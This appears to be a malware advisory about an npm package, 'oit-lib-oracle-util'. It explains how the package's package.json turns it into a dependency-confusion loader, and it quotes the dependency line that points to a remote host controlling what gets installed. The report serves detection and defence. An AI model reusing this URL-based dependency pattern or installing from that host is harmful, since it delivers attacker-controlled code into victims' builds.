GCVE-110-OSM-2026-11273

package.json declares a dependency whose key (`oit-lib-oracle-util`) matches this package's own name and whose value is a bare HTTPS URL — `https://repo.securityctrl.com/oit-lib-oracle-util` — instead of a registry version range. On `npm install`, npm fetches whatever bytes that URL returns at install time and installs them, running any lifecycle scripts inside the fetched artifact. The source is unpinned, has no integrity hash, and is unrelated to the npm registry; the host `repo.securityctrl.com` is not a known registry mirror and has no association with a declared publisher. The shipped index.js is an inert stub, so the manifest itself is the entire delivery mechanism. The self-referential name and implausibly high version (45.0.0) are consistent with a dependency-confusion lure designed to win resolution against an internal package of the same name. Judge assessment: This package looks like a dependency-confusion loader intended for internal victims: `package.json` maps its own name `oit-lib-oracle-util` to a bare HTTPS URL, `https://repo.securityctrl.com/oit-lib-oracle-util`, which lets npm fetch attacker-controlled bytes at install time. The shipped `index.js` is just an inert demo stub, so the manifest itself is the delivery mechanism, and the hardcoded loader domain `repo.securityctrl.com` is the attacker-controlled endpoint. The publisher history is also highly adverse: `sine8z` has multiple prior critical malware packages, which strongly supports a coordinated campaign rather than a false positive. This is malicious because the attacker model is clear: hijack dependency resolution to deliver untrusted code into downstream builds and installations. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "oit-lib-oracle-util": "https://repo.securityctrl.com/oit-lib-..." DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages